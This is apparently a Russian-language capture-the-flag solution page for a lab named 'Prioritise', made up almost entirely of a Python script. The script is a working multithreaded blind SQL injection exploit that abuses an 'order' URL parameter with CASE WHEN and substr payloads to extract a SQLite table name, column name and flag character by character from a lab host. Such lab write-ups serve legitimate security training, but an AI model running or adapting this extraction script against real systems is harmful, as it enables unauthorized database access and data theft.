Prioritise


Код решения:

import threading
import requests

# Все возможные символы для перебора
chars = [chr(i) for i in range(33, 127)]

session = requests.Session()
url = 'http://10.10.217.202/'

# Длина искомых строк — подстрой под свои данные
MAX_LEN = 38

# Сохраняем ответы по этапам
answr = ['' for _ in range(MAX_LEN)]

table_name = ""
column_name = ""
flag = ""

# ВАЖНО: Эталонный ответ — берём с тем же ELSE, что и в запросах (здесь 'done')
that_one_answer = session.get(url + '?order=(CASE WHEN (1=1) THEN title ELSE done END); --').content

def columnname(i: int, u: str, c: str):
    payload = f"?order=(CASE WHEN (SELECT substr(name, {i}, 1) FROM pragma_table_info('{table_name}')) = '{c}' THEN title ELSE done END); --"
    return session.get(u + payload)

def tablename(i: int, u: str, c: str):
    payload = f"?order=(CASE WHEN (SELECT substr(name, {i}, 1) FROM sqlite_schema WHERE type='table' LIMIT 1 OFFSET 1) = '{c}' THEN title ELSE done END); --"
    return session.get(u + payload)

def get_flag(i: int, u: str, c: str):
    payload = f"?order=(CASE WHEN (SELECT substr({column_name}, {i}, 1) FROM {table_name}) = '{c}' THEN title ELSE done END); --"
    return session.get(u + payload)

def mn(i: int):
    for c in chars:
        fail = True
        while fail:
            try:
                if action == "get_flag":
                    response = get_flag(i, url, c)
                elif action == "columnname":
                    response = columnname(i, url, c)
                else:
                    response = tablename(i, url, c)
            except Exception as e:
                print(f"[!] Exception for char '{c}' at pos {i}: {e}")
                continue
            else:
                fail = False

        equal = (response.content == that_one_answer)

        if equal:
            answr[i-1] = c
            break

actions = ["tablename", "columnname", "get_flag"]

for action in actions:
    print(f"=== Starting action: {action} ===")
    threads = []

    for j in range(MAX_LEN):
        t = threading.Thread(target=mn, args=(j+1,))
        t.start()
        threads.append(t)

    for t in threads:
        t.join()

    print(f"[{action.upper()}] Result: {''.join(answr)}")

    if action == "tablename":
        table_name = ''.join(answr)
    elif action == "columnname":
        column_name = ''.join(answr)
    else:
        flag = ''.join(answr)

    answr = ['' for _ in range(MAX_LEN)]

print(f"Final table: {table_name}")
print(f"Final column: {column_name}")
print(f"Final flag: {flag}")

Видео выполнения


Загрузки

Download files archive